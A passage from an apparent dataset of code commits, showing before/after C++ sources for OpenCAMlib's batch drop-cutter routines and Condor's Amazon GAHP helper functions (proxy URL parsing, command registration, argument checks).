clpoints->size();\n    std::vector<CLPoint>& clref = *clpoints; \n    int nloop=0;\n    unsigned int ntriangles = surf->tris.size();\n#ifdef _OPENMP\n    omp_set_num_threads(nthreads); \/\/ the constructor sets number of threads right\n                                   \/\/ or the user can explicitly specify something else\n#endif\n    std::list<Triangle>::iterator it;\n    #pragma omp parallel for schedule(dynamic) shared( nloop, ntris, calls, clref ) private(n,tris,it) \n        for (n=0;n<Nmax;++n) { \/\/ PARALLEL OpenMP loop!\n#ifdef _OPENMP\n            if ( n== 0 ) { \/\/ first iteration\n                if (omp_get_thread_num() == 0 ) \n                    std::cout << \"Number of OpenMP threads = \"<< omp_get_num_threads() << \"\\n\";\n            }\n#endif\n            nloop++;\n            tris = root->search_cutter_overlap( cutter, &clref[n] );\n            assert( tris );\n            assert( tris->size() <= ntriangles ); \/\/ can't possibly find more triangles than in the STLSurf \n            for( it=tris->begin(); it!=tris->end() ; ++it) { \/\/ loop over found triangles  \n                if ( cutter->overlaps(clref[n],*it) ) { \/\/ cutter overlap triangle? check\n                    if (clref[n].below(*it)) {\n                        cutter->dropCutter( clref[n],*it);\n                        ++calls;\n                    }\n                }\n            }\n            ntris += tris->size();\n            delete( tris );\n            ++show_progress;\n        } \/\/ end OpenMP PARALLEL for\n    nCalls = calls;\n    std::cout << \"\\n \" << nCalls << \" dropCutter() calls.\\n\";\n    return;\n}\n\n}\/\/ end namespace\n\/\/ end file batchdropcutter.cpp\n<commit_msg>fix ->clear() calls which would cause crash<commit_after>\/*  $Id$\n * \n *  Copyright 2010 Anders Wallin (anders.e.e.wallin \"at\" gmail.com)\n *  \n *  This file is part of OpenCAMlib.\n *\n *  OpenCAMlib is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation, either version 3 of the License, or\n *  (at your option) any later version.\n *\n *  OpenCAMlib is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with OpenCAMlib.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <boost\/foreach.hpp>\n#include <boost\/progress.hpp>\n\n#ifdef _OPENMP \/\/ this should really not be a check for Windows, but a check for OpenMP\n    #include <omp.h>\n#endif\n\n#include \"point.h\"\n#include \"triangle.h\"\n#include \"batchdropcutter.h\"\n\/\/#include \"kdtree3.h\"\n\nnamespace ocl\n{\n\n\/\/********   ********************** *\/\n\nBatchDropCutter::BatchDropCutter() {\n    clpoints = new std::vector<CLPoint>();\n    nCalls = 0;\n#ifdef _OPENMP\n    nthreads = omp_get_num_procs(); \/\/ figure out how many cores we have\n#endif\n    cutter = NULL;\n    bucketSize = 1;\n    root = new KDTree<Triangle>();\n}\n\nBatchDropCutter::~BatchDropCutter() { \n    clpoints->clear();\n    delete clpoints;\n    delete root;\n}\n \nvoid BatchDropCutter::setSTL(const STLSurf &s) {\n    std::cout << \"bdc::setSTL()\\n\";\n    surf = &s;\n    root->setXYDimensions(); \/\/ we search for triangles in the XY plane, don't care about Z-coordinate\n    root->setBucketSize( bucketSize );\n    root->build(s.tris);\n    std::cout << \"bdc::setSTL() done.\\n\";\n}\n\n\n\nvoid BatchDropCutter::appendPoint(CLPoint& p) {\n    clpoints->push_back(p);\n}\n\n\/\/ drop cutter against all triangles in surface\nvoid BatchDropCutter::dropCutter1() {\n    std::cout << \"dropCutterSTL1 \" << clpoints->size() << \n              \" cl-points and \" << surf->tris.size() << \" triangles...\";\n    nCalls = 0;\n    BOOST_FOREACH(CLPoint &cl, *clpoints) {\n        BOOST_FOREACH( const Triangle& t, surf->tris) {\/\/ test against all triangles in s\n            cutter->dropCutter(cl,t);\n            ++nCalls;\n        }\n    }\n    std::cout << \"done.\\n\";\n    return;\n}\n\n\/\/ first search for triangles under the cutter\n\/\/ then only drop cutter against found triangles\nvoid BatchDropCutter::dropCutter2() {\n    std::cout << \"dropCutterSTL2 \" << clpoints->size() << \n            \" cl-points and \" << surf->tris.size() << \" triangles.\\n\";\n    std::cout.flush();\n    nCalls = 0;\n    std::list<Triangle> *triangles_under_cutter;\n    BOOST_FOREACH(CLPoint &cl, *clpoints) { \/\/loop through each CL-point\n        triangles_under_cutter = root->search_cutter_overlap( cutter , &cl);\n        BOOST_FOREACH( const Triangle& t, *triangles_under_cutter) {\n            cutter->dropCutter(cl,t);\n            ++nCalls;\n        }\n        delete triangles_under_cutter;\n    }\n    \n    std::cout << \"done. \" << nCalls << \" dropCutter() calls.\\n\";\n    std::cout.flush();\n    return;\n}\n\n\/\/ compared to dropCutter2, add an additional explicit overlap-test before testing triangle\nvoid BatchDropCutter::dropCutter3() {\n    std::cout << \"dropCutterSTL3 \" << clpoints->size() << \n            \" cl-points and \" << surf->tris.size() << \" triangles.\\n\";\n    nCalls = 0;\n    boost::progress_display show_progress( clpoints->size() );\n    std::list<Triangle> *triangles_under_cutter;\n    BOOST_FOREACH(CLPoint &cl, *clpoints) { \/\/loop through each CL-point\n        triangles_under_cutter = root->search_cutter_overlap( cutter , &cl);\n        BOOST_FOREACH( const Triangle& t, *triangles_under_cutter) {\n            if (cutter->overlaps(cl,t)) {\n                if ( cl.below(t) ) {\n                    cutter->dropCutter(cl,t);\n                    ++nCalls;\n                }\n            }\n        }\n        ++show_progress;\n        delete triangles_under_cutter;\n    }\n    \n    std::cout << \"done. \" << nCalls << \" dropCutter() calls.\\n\";\n    return;\n}\n\n\/\/ use OpenMP to share work between threads\nvoid BatchDropCutter::dropCutter4() {\n    std::cout << \"dropCutterSTL4 \" << clpoints->size() << \n            \" cl-points and \" << surf->tris.size() << \" triangles.\\n\";\n    boost::progress_display show_progress( clpoints->size() );\n    nCalls = 0;\n    int calls=0;\n    long int ntris = 0;\n    std::list<Triangle>* tris;\n    unsigned int n;\n    unsigned int Nmax = clpoints->size();\n    std::vector<CLPoint>& clref = *clpoints; \n    int nloop=0;\n    unsigned int ntriangles = surf->tris.size();\n#ifdef _OPENMP\n    omp_set_num_threads(nthreads); \/\/ the constructor sets number of threads right\n                                   \/\/ or the user can explicitly specify something else\n#endif\n    std::list<Triangle>::iterator it;\n    #pragma omp parallel for shared( nloop, ntris, calls, clref) private(n,tris,it)\n        for (n=0;n< Nmax ;n++) { \/\/ PARALLEL OpenMP loop!\n#ifdef _OPENMP\n            if ( n== 0 ) { \/\/ first iteration\n                if (omp_get_thread_num() == 0 ) \n                    std::cout << \"Number of OpenMP threads = \"<< omp_get_num_threads() << \"\\n\";\/\/ print out how many threads we are using\n            }\n#endif\n            nloop++;\n            tris = root->search_cutter_overlap( cutter, &clref[n] );\n            assert( tris->size() <= ntriangles ); \/\/ can't possibly find more triangles than in the STLSurf \n            for( it=tris->begin(); it!=tris->end() ; ++it) { \/\/ loop over found triangles  \n                if ( cutter->overlaps(clref[n],*it) ) { \/\/ cutter overlap triangle? check\n                    if (clref[n].below(*it)) {\n                        cutter->vertexDrop( clref[n],*it);\n                        ++calls;\n                    }\n                }\n            }\n            for( it=tris->begin(); it!=tris->end() ; ++it) { \/\/ loop over found triangles  \n                if ( cutter->overlaps(clref[n],*it) ) { \/\/ cutter overlap triangle? check\n                    if (clref[n].below(*it))\n                        cutter->facetDrop( clref[n],*it);\n                }\n            }\n            for( it=tris->begin(); it!=tris->end() ; ++it) { \/\/ loop over found triangles  \n                if ( cutter->overlaps(clref[n],*it) ) { \/\/ cutter overlap triangle? check\n                    if (clref[n].below(*it))\n                        cutter->edgeDrop( clref[n],*it);\n                }\n            }\n            ntris += tris->size();\n            delete( tris );\n            ++show_progress;\n        } \/\/ end OpenMP PARALLEL for\n    nCalls = calls;\n    std::cout << \" \" << nCalls << \" dropCutter() calls.\\n\";\n    return;\n}\n\n\/\/ use OpenMP to share work between threads\nvoid BatchDropCutter::dropCutter5() {\n    std::cout << \"dropCutterSTL5 \" << clpoints->size() << \n            \" cl-points and \" << surf->tris.size() << \" triangles.\\n\";\n    boost::progress_display show_progress( clpoints->size() );\n    nCalls = 0;\n    int calls=0;\n    long int ntris = 0;\n    std::list<Triangle>* tris;\n    unsigned int n;\n    unsigned int Nmax = clpoints->size();\n    std::vector<CLPoint>& clref = *clpoints; \n    int nloop=0;\n    unsigned int ntriangles = surf->tris.size();\n#ifdef _OPENMP\n    omp_set_num_threads(nthreads); \/\/ the constructor sets number of threads right\n                                   \/\/ or the user can explicitly specify something else\n#endif\n    std::list<Triangle>::iterator it;\n    #pragma omp parallel for schedule(dynamic) shared( nloop, ntris, calls, clref ) private(n,tris,it) \n        for (n=0;n<Nmax;++n) { \/\/ PARALLEL OpenMP loop!\n#ifdef _OPENMP\n            if ( n== 0 ) { \/\/ first iteration\n                if (omp_get_thread_num() == 0 ) \n                    std::cout << \"Number of OpenMP threads = \"<< omp_get_num_threads() << \"\\n\";\n            }\n#endif\n            nloop++;\n            tris = root->search_cutter_overlap( cutter, &clref[n] );\n            assert( tris );\n            assert( tris->size() <= ntriangles ); \/\/ can't possibly find more triangles than in the STLSurf \n            for( it=tris->begin(); it!=tris->end() ; ++it) { \/\/ loop over found triangles  \n                if ( cutter->overlaps(clref[n],*it) ) { \/\/ cutter overlap triangle? check\n                    if (clref[n].below(*it)) {\n                        cutter->dropCutter( clref[n],*it);\n                        ++calls;\n                    }\n                }\n            }\n            ntris += tris->size();\n            delete( tris );\n            ++show_progress;\n        } \/\/ end OpenMP PARALLEL for\n    nCalls = calls;\n    std::cout << \"\\n \" << nCalls << \" dropCutter() calls.\\n\";\n    return;\n}\n\n}\/\/ end namespace\n\/\/ end file batchdropcutter.cpp\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License.  You may\n * obtain a copy of the License at\n * \n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n#include \"condor_common.h\"\n#include \"condor_debug.h\"\n#include \"condor_config.h\"\n#include \"simplelist.h\"\n#include \"amazongahp_common.h\"\n#include \"amazonCommands.h\"\n\nstatic std::string amazon_proxy_host;\nstatic int amazon_proxy_port;\nstatic std::string amazon_proxy_user;\nstatic std::string amazon_proxy_passwd;\n\n\/\/ List for all amazon commands\nstatic SimpleList<AmazonGahpCommand*> amazon_gahp_commands;\n\nvoid set_amazon_proxy_server(const char* url) \n{\n\tif( !url ) {\n\t\treturn;\n\t}\n\n\t\/\/ Need to parse host name and port\n\tif( !strncasecmp(\"http:\/\/\", url, strlen(\"http:\/\/\"))) {\n\t\tamazon_proxy_host = url +  strlen(\"http:\/\/\");\n\t\tamazon_proxy_port = 80;\n\t}else if( !strncasecmp(\"https:\/\/\", url, strlen(\"https:\/\/\")) ) { \n\t\tamazon_proxy_host = url +  strlen(\"https:\/\/\");\n\t\tamazon_proxy_port = 443;\n\t}else {\n\t\tamazon_proxy_host = url;\n\t\tamazon_proxy_port = 80;\n\t}\n\t\n\t\/* sateesh added code to even handle proxy username and password *\/\n\t\/* This code cannot handle passwords containing @ ? *\/\n\t\/* Exact format of AMAZON_HTTP_PROXY is -- http:\/\/userid:password@host:port *\/\n    size_t pos = amazon_proxy_host.find('@');\n\tif( std::string::npos != pos ) {\n\t  amazon_proxy_user = amazon_proxy_host.substr(0, pos);\n\t  \n\t  amazon_proxy_host = amazon_proxy_host.substr(pos + 1,\n\t\t  amazon_proxy_host.length());\n\n      pos = amazon_proxy_user.find(':');\n\t  if( std::string::npos != pos ) {\n\t\tamazon_proxy_passwd = amazon_proxy_user.substr(pos + 1,\n\t\t\tamazon_proxy_user.length());\n\t\tamazon_proxy_user = amazon_proxy_user.substr(0, pos);\n\t  }\n\t}\n\n    pos = amazon_proxy_host.find(':');\n\tif( std::string::npos != pos ) {\n\t\tint port =\n\t\t\tatoi(amazon_proxy_host.substr(pos + 1,\n\t\t\t\t\t\t\t\t\t\t  amazon_proxy_host.length()).c_str());\n\n\t\tif( port > 0 ) {\n\t\t\tamazon_proxy_port = port;\n\t\t}\n\n\t\tamazon_proxy_host = amazon_proxy_host.substr(0, pos);\n\t}\n         \n\tdprintf(D_ALWAYS, \"Using proxy server, host=%s, port=%d user=%s\\n\", \n\t\tamazon_proxy_host.c_str(), amazon_proxy_port, \n\t\tamazon_proxy_user.c_str());\n}\n\nbool get_amazon_proxy_server(const char* &host_name, int& port, const char* &user_name, const char* &passwd )\n{\n\tif( amazon_proxy_host.empty() == false ) {\n\t\thost_name = amazon_proxy_host.c_str();\n\t\tport = amazon_proxy_port;\n\t\tuser_name = amazon_proxy_user.c_str();\n\t\tpasswd = amazon_proxy_passwd.c_str();\n\t\treturn true;\n\t}\n\n\treturn false;\n}\n\nAmazonGahpCommand::AmazonGahpCommand(const char* cmd, ioCheckfn iofunc, workerfn workerfunc)\n{\n\tcommand = cmd;\n\tiocheckfunction = iofunc;\n\tworkerfunction = workerfunc;\n}\n\nvoid\nregisterAmazonGahpCommand(const char* command, ioCheckfn iofunc, workerfn workerfunc)\n{\n\tif( !command ) {\n\t\treturn;\n\t}\n\n\tAmazonGahpCommand* newcommand = new AmazonGahpCommand(command, iofunc, workerfunc);\n\tASSERT(newcommand);\n\n\tamazon_gahp_commands.Append(newcommand);\n}\n\nint\nnumofAmazonCommands(void)\n{\n\treturn amazon_gahp_commands.Number();\n}\n\nint \nallAmazonCommands(StringList &output)\n{\n\tAmazonGahpCommand *one_cmd = NULL;\n\n\tamazon_gahp_commands.Rewind();\n\twhile( amazon_gahp_commands.Next(one_cmd) ) {\n\t\toutput.append(one_cmd->command.c_str());\n\t}\n\n\treturn amazon_gahp_commands.Number();\n}\n\nbool\nexecuteIOCheckFunc(const char* cmd, char **argv, int argc)\n{\n\tif(!cmd) {\n\t\treturn false;\n\t}\n\n\tAmazonGahpCommand *one_cmd = NULL;\n\n\tamazon_gahp_commands.Rewind();\n\twhile( amazon_gahp_commands.Next(one_cmd) ) {\n\t\tif( !strcasecmp(one_cmd->command.c_str(), cmd) && \n\t\t \tone_cmd->iocheckfunction ) {\n\t\t\treturn one_cmd->iocheckfunction(argv, argc);\n\t\t}\n\t}\n\n\tdprintf (D_ALWAYS, \"Unknown command %s\\n\", cmd);\n\treturn false;\n}\n\nbool\nexecuteWorkerFunc(const char* cmd, char **argv, int argc, std::string &output_string)\n{\n\tif(!cmd) {\n\t\treturn false;\n\t}\n\n\tAmazonGahpCommand *one_cmd = NULL;\n\n\tamazon_gahp_commands.Rewind();\n\twhile( amazon_gahp_commands.Next(one_cmd) ) {\n\t\tif( !strcasecmp(one_cmd->command.c_str(), cmd) && \n\t\t\tone_cmd->workerfunction ) {\n\t\t\treturn one_cmd->workerfunction(argv, argc, output_string);\n\t\t}\n\t}\n\tdprintf (D_ALWAYS, \"Unknown command %s\\n\", cmd);\n\treturn false;\n}\n\nint\nparse_gahp_command (const char* raw, Gahp_Args* args) {\n\n\tif (!raw) {\n\t\tdprintf(D_ALWAYS,\"ERROR parse_gahp_command: empty command\\n\");\n\t\treturn FALSE;\n\t}\n\n\targs->reset();\n\n\tint beginning = 0;\n\n\tint len=strlen(raw);\n\n\tchar * buff = (char*)malloc(len+1);\n\tint buff_len = 0;\n\n\tfor (int i = 0; i<len; i++) {\n\n\t\tif ( raw[i] == '\\\\' ) {\n\t\t\ti++; \t\t\t\/\/skip this char\n\t\t\tif (i<(len-1))\n\t\t\t\tbuff[buff_len++] = raw[i];\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/* Check if charcater read was whitespace *\/\n\t\tif ( raw[i]==' ' || raw[i]=='\\t' || raw[i]=='\\r' || raw[i] == '\\n') {\n\n\t\t\t\/* Handle Transparency: we would only see these chars\n\t\t\tif they WEREN'T escaped, so treat them as arg separators\n\t\t\t*\/\n\t\t\tbuff[buff_len++] = '\\0';\n\t\t\targs->add_arg( strdup(buff) );\n\t\t\tbuff_len = 0;\t\/\/ re-set temporary buffer\n\n\t\t\tbeginning = i+1; \/\/ next char will be one after whitespace\n\t\t}\n\t\telse {\n\t\t\t\/\/ It's just a regular character, save it\n\t\t\tbuff[buff_len++] = raw[i];\n\t\t}\n\t}\n\n\t\/* Copy the last portion *\/\n\tbuff[buff_len++] = '\\0';\n\targs->add_arg( strdup(buff) );\n\n\tfree (buff);\n\treturn TRUE;\n}\n\nbool\ncheck_read_access_file(const char *file)\n{\n\tif( !file || file[0] == '\\0' ) {\n\t\treturn false;\n\t}\n\n\tint ret = access(file, R_OK);\n\n\tif(ret < 0 ) {\n\t\tdprintf(D_ALWAYS, \"File(%s) can't be read\\n\", file);\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nbool\ncheck_create_file(const char *file, mode_t mode)\n{\n\tif( !file || file[0] == '\\0' ) {\n\t\treturn false;\n\t}\n\n\tFILE *fp = NULL;\n\n\tfp = safe_fopen_wrapper(file, \"w\", mode);\n\tif( !fp ) {\n\t\tdprintf(D_ALWAYS, \"failed to safe_fopen_wrapper %s in write mode: \"\n\t\t\t\t\"safe_fopen_wrapper returns %s\\n\", file, strerror(errno));\n\t\treturn false;\n\t}\n\n\tfclose(fp);\n\treturn true;\n}\n\nint\nverify_number_args (const int is, const int should_be) {\n\tif (is != should_be) {\n\t\tdprintf (D_ALWAYS, \"Wrong # of args %d, should be %d\\n\", is, should_be);\n\t\treturn FALSE;\n\t}\n\treturn TRUE;\n}\n\nint\nverify_min_number_args (const int is, const int minimum) {\n\tif (is < minimum ) {\n\t\tdprintf (D_ALWAYS, \"Wrong # of args %d, should be more than or equal to %d\\n\", is, minimum);\n\t\treturn FALSE;\n\t}\n\treturn TRUE;\n}\n\nint\nverify_request_id (const char * s) {\n    unsigned int i;\n\tfor (i=0; i<strlen(s); i++) {\n\t\tif (!isdigit(s[i])) {\n\t\t\tdprintf (D_ALWAYS, \"Bad request id %s\\n\", s);\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\n\treturn TRUE;\n}\n\nint\nverify_string_name(const char * s) {\n    if( s == NULL ) {\n        dprintf( D_ALWAYS, \"verify_string_name() failed: string is NULL.\\n\" );\n        return false;\n    }\n    if( strlen(s) <= 0 ) {\n        dprintf( D_ALWAYS, \"verify_string_name() failed: string is zero-length.\\n\" );\n    }        \n    return true;\n}\n\nint\nverify_number (const char * s) {\n\tif (!s || !(*s)) {\n\t\tdprintf (D_ALWAYS, \"No digit number\\n\");\n\t\treturn FALSE;\n\t}\n\t\n\tint i=0;\n   \n\tdo {\n\t\tif (s[i]<'0' || s[i]>'9') {\n\t\t\tdprintf (D_ALWAYS, \"Bad digit number %s\\n\", s);\n\t\t\treturn FALSE;\n\t\t}\n\t} while (s[++i]);\n\n\treturn TRUE;\n}\n\nbool check_access_and_secret_key_file(const char* accesskeyfile, const char* secretkeyfile, std::string &err_msg)\n{\n\t\/\/ check the accesskeyfile\n\tif( !check_read_access_file(accesskeyfile) ) {\n\t\tsprintf(err_msg, \"Cannot_read_access_key_file(%s)\", accesskeyfile? accesskeyfile:\"\");\n\t\tdprintf (D_ALWAYS, \"Error: %s\\n\", err_msg.c_str());\n\t\treturn false;\n\t}\n\n\t\/\/ check the accesskeyfile and secretkeyfile\n\tif( !check_read_access_file(secretkeyfile) ) {\n\t\tsprintf(err_msg, \"Cannot_read_secret_key_file(%s)\", secretkeyfile? secretkeyfile:\"\");\n\t\tdprintf (D_ALWAYS, \"Error: %s\\n\", err_msg.c_str());\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\n\/\/ String -> int\nint\nget_int (const char * blah, int * s) {\n\t*s = atoi(blah);\n\treturn TRUE;\n}\n\nint\nget_ulong (const char * blah, unsigned long * s) {\n\t*s=(unsigned long)atol(blah);\n\treturn TRUE;\n}\n\nstd::string\ncreate_output_string (int req_id, const char ** results, const int argc)\n{\n\tstd::string buffer;\n\n\tsprintf( buffer, \"%d\", req_id );\n\n\tfor ( int i = 0; i < argc; i++ ) {\n\t\tbuffer += ' ';\n\t\tif ( results[i] == NULL ) {\n\t\t\tbuffer += \"NULL\";\n\t\t} else {\n\t\t\tfor ( int j = 0; results[i][j] != '\\0'; j++ ) {\n\t\t\t\tswitch ( results[i][j] ) {\n\t\t\t\tcase ' ':\n\t\t\t\tcase '\\\\':\n\t\t\t\tcase '\\r':\n\t\t\t\tcase '\\n':\n\t\t\t\t\tbuffer += '\\\\';\n\t\t\t\tdefault:\n\t\t\t\t\tbuffer += results[i][j];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tbuffer += '\\n';\n\treturn buffer;\n}\n\nstd::string\ncreate_success_result( int req_id, StringList *result_list)\n{\n\tint index_count = 1;\n\tif( !result_list || (result_list->number() == 0) ) {\n\t\tindex_count = 1;\n\t}else {\n\t\tindex_count = result_list->number();\n\t}\n\n\tconst char *tmp_result[index_count];\n\n\ttmp_result[0] = AMAZON_COMMAND_SUCCESS_OUTPUT;\n\n\tint i = 1;\n\tif( result_list && (result_list->number() > 0) ) {\n\t\tchar *one_result = NULL;\n\t\tresult_list->rewind();\n\t\twhile((one_result = result_list->next()) != NULL ) {\n\t\t\ttmp_result[i] = one_result;\n\t\t\ti++;\n\t\t}\n\t}\n\n\treturn create_output_string (req_id, tmp_result, i);\n}\n\nstd::string\ncreate_failure_result( int req_id, const char *err_msg, const char* err_code)\n{\n\tconst char *tmp_result[3];\n\ttmp_result[0] = AMAZON_COMMAND_ERROR_OUTPUT;\n\n\tif( !err_code ) {\n\t\terr_code = GENERAL_GAHP_ERROR_CODE;\n\t}\n\tif( !err_msg ) {\n\t\terr_msg = GENERAL_GAHP_ERROR_MSG;\n\t}\n\ttmp_result[1] = err_code;\n\ttmp_result[2] = err_msg;\n\n\treturn create_output_string(req_id, tmp_result, 3);\n}\n<commit_msg>Brian's final warning to the earth #2584<commit_after>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License.  You may\n * obtain a copy of the License at\n * \n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n#include \"condor_common.h\"\n#include \"condor_debug.h\"\n#include \"condor_config.h\"\n#include \"simplelist.h\"\n#include \"amazongahp_common.h\"\n#include \"amazonCommands.h\"\n\nstatic std::string amazon_proxy_host;\nstatic int amazon_proxy_port;\nstatic std::string amazon_proxy_user;\nstatic std::string amazon_proxy_passwd;\n\n\/\/ List for all amazon commands\nstatic SimpleList<AmazonGahpCommand*> amazon_gahp_commands;\n\nvoid set_amazon_proxy_server(const char* url) \n{\n\tif( !url ) {\n\t\treturn;\n\t}\n\n\t\/\/ Need to parse host name and port\n\tif( !strncasecmp(\"http:\/\/\", url, strlen(\"http:\/\/\"))) {\n\t\tamazon_proxy_host = url +  strlen(\"http:\/\/\");\n\t\tamazon_proxy_port = 80;\n\t}else if( !strncasecmp(\"https:\/\/\", url, strlen(\"https:\/\/\")) ) { \n\t\tamazon_proxy_host = url +  strlen(\"https:\/\/\");\n\t\tamazon_proxy_port = 443;\n\t}else {\n\t\tamazon_proxy_host = url;\n\t\tamazon_proxy_port = 80;\n\t}\n\t\n\t\/* sateesh added code to even handle proxy username and password *\/\n\t\/* This code cannot handle passwords containing @ ? *\/\n\t\/* Exact format of AMAZON_HTTP_PROXY is -- http:\/\/userid:password@host:port *\/\n    size_t pos = amazon_proxy_host.find('@');\n\tif( std::string::npos != pos ) {\n\t  amazon_proxy_user = amazon_proxy_host.substr(0, pos);\n\t  \n\t  amazon_proxy_host = amazon_proxy_host.substr(pos + 1,\n\t\t  amazon_proxy_host.length());\n\n      pos = amazon_proxy_user.find(':');\n\t  if( std::string::npos != pos ) {\n\t\tamazon_proxy_passwd = amazon_proxy_user.substr(pos + 1,\n\t\t\tamazon_proxy_user.length());\n\t\tamazon_proxy_user = amazon_proxy_user.substr(0, pos);\n\t  }\n\t}\n\n    pos = amazon_proxy_host.find(':');\n\tif( std::string::npos != pos ) {\n\t\tint port =\n\t\t\tatoi(amazon_proxy_host.substr(pos + 1,\n\t\t\t\t\t\t\t\t\t\t  amazon_proxy_host.length()).c_str());\n\n\t\tif( port > 0 ) {\n\t\t\tamazon_proxy_port = port;\n\t\t}\n\n\t\tamazon_proxy_host = amazon_proxy_host.substr(0, pos);\n\t}\n         \n\tdprintf(D_ALWAYS, \"Using proxy server, host=%s, port=%d user=%s\\n\", \n\t\tamazon_proxy_host.c_str(), amazon_proxy_port, \n\t\tamazon_proxy_user.c_str());\n}\n\nbool get_amazon_proxy_server(const char* &host_name, int& port, const char* &user_name, const char* &passwd )\n{\n\tif( amazon_proxy_host.empty() == false ) {\n\t\thost_name = amazon_proxy_host.c_str();\n\t\tport = amazon_proxy_port;\n\t\tuser_name = amazon_proxy_user.c_str();\n\t\tpasswd = amazon_proxy_passwd.c_str();\n\t\treturn true;\n\t}\n\n\treturn false;\n}\n\nAmazonGahpCommand::AmazonGahpCommand(const char* cmd, ioCheckfn iofunc, workerfn workerfunc)\n{\n\tcommand = cmd;\n\tiocheckfunction = iofunc;\n\tworkerfunction = workerfunc;\n}\n\nvoid\nregisterAmazonGahpCommand(const char* command, ioCheckfn iofunc, workerfn workerfunc)\n{\n\tif( !command ) {\n\t\treturn;\n\t}\n\n\tAmazonGahpCommand* newcommand = new AmazonGahpCommand(command, iofunc, workerfunc);\n\tASSERT(newcommand);\n\n\tamazon_gahp_commands.Append(newcommand);\n}\n\nint\nnumofAmazonCommands(void)\n{\n\treturn amazon_gahp_commands.Number();\n}\n\nint \nallAmazonCommands(StringList &output)\n{\n\tAmazonGahpCommand *one_cmd = NULL;\n\n\tamazon_gahp_commands.Rewind();\n\twhile( amazon_gahp_commands.Next(one_cmd) ) {\n\t\toutput.append(one_cmd->command.c_str());\n\t}\n\n\treturn amazon_gahp_commands.Number();\n}\n\nbool\nexecuteIOCheckFunc(const char* cmd, char **argv, int argc)\n{\n\tif(!cmd) {\n\t\treturn false;\n\t}\n\n\tAmazonGahpCommand *one_cmd = NULL;\n\n\tamazon_gahp_commands.Rewind();\n\twhile( amazon_gahp_commands.Next(one_cmd) ) {\n\t\tif( !strcasecmp(one_cmd->command.c_str(), cmd) && \n\t\t \tone_cmd->iocheckfunction ) {\n\t\t\treturn one_cmd->iocheckfunction(argv, argc);\n\t\t}\n\t}\n\n\tdprintf (D_ALWAYS, \"Unknown command %s\\n\", cmd);\n\treturn false;\n}\n\nbool\nexecuteWorkerFunc(const char* cmd, char **argv, int argc, std::string &output_string)\n{\n\tif(!cmd) {\n\t\treturn false;\n\t}\n\n\tAmazonGahpCommand *one_cmd = NULL;\n\n\tamazon_gahp_commands.Rewind();\n\twhile( amazon_gahp_commands.Next(one_cmd) ) {\n\t\tif( !strcasecmp(one_cmd->command.c_str(), cmd) && \n\t\t\tone_cmd->workerfunction ) {\n\t\t\treturn one_cmd->workerfunction(argv, argc, output_string);\n\t\t}\n\t}\n\tdprintf (D_ALWAYS, \"Unknown command %s\\n\", cmd);\n\treturn false;\n}\n\nint\nparse_gahp_command (const char* raw, Gahp_Args* args) {\n\n\tif (!raw) {\n\t\tdprintf(D_ALWAYS,\"ERROR parse_gahp_command: empty command\\n\");\n\t\treturn FALSE;\n\t}\n\n\targs->reset();\n\n\tint len=strlen(raw);\n\n\tchar * buff = (char*)malloc(len+1);\n\tint buff_len = 0;\n\n\tfor (int i = 0; i<len; i++) {\n\n\t\tif ( raw[i] == '\\\\' ) {\n\t\t\ti++; \t\t\t\/\/skip this char\n\t\t\tif (i<(len-1))\n\t\t\t\tbuff[buff_len++] = raw[i];\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/* Check if charcater read was whitespace *\/\n\t\tif ( raw[i]==' ' || raw[i]=='\\t' || raw[i]=='\\r' || raw[i] == '\\n') {\n\n\t\t\t\/* Handle Transparency: we would only see these chars\n\t\t\tif they WEREN'T escaped, so treat them as arg separators\n\t\t\t*\/\n\t\t\tbuff[buff_len++] = '\\0';\n\t\t\targs->add_arg( strdup(buff) );\n\t\t\tbuff_len = 0;\t\/\/ re-set temporary buffer\n\n\t\t}\n\t\telse {\n\t\t\t\/\/ It's just a regular character, save it\n\t\t\tbuff[buff_len++] = raw[i];\n\t\t}\n\t}\n\n\t\/* Copy the last portion *\/\n\tbuff[buff_len++] = '\\0';\n\targs->add_arg( strdup(buff) );\n\n\tfree (buff);\n\treturn TRUE;\n}\n\nbool\ncheck_read_access_file(const char *file)\n{\n\tif( !file || file[0] == '\\0' ) {\n\t\treturn false;\n\t}\n\n\tint ret = access(file, R_OK);\n\n\tif(ret < 0 ) {\n\t\tdprintf(D_ALWAYS, \"File(%s) can't be read\\n\", file);\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nbool\ncheck_create_file(const char *file, mode_t mode)\n{\n\tif( !file || file[0] == '\\0' ) {\n\t\treturn false;\n\t}\n\n\tFILE *fp = NULL;\n\n\tfp = safe_fopen_wrapper(file, \"w\", mode);\n\tif( !fp ) {\n\t\tdprintf(D_ALWAYS, \"failed to safe_fopen_wrapper %s in write 